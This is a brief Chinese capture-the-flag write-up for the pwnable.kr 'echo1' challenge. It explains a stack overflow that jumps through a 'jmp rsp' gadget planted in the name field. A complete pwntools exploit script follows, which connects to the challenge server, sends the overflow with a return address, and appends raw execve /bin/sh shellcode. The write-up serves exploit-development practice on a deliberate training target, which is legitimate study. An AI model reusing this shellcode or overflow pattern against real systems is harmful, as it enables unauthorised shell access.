pwnable之echo1

来源:互联网 发布:qq空间皮肤psd源码 编辑:程序博客网 时间:2024/06/16 21:00

这次的提是一个典型的栈溢出然后跳到shellcode上

id为我们输入的名字的低位所以让他为“jmp esp”即可

from pwn import *
context(arch='amd64', os='linux', endian='little', word_size=64)
p=remote("pwnable.kr",9010);
print p.recv(1024)
shellcode='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

p.sendline(asm("jmp rsp"));
print p.recv(1024)
print p.recv(1024)
p.sendline("1")
print p.recv(1024)
p.sendline("a"*40+p64(0x00000000006020a0)+shellcode)
p.interactive()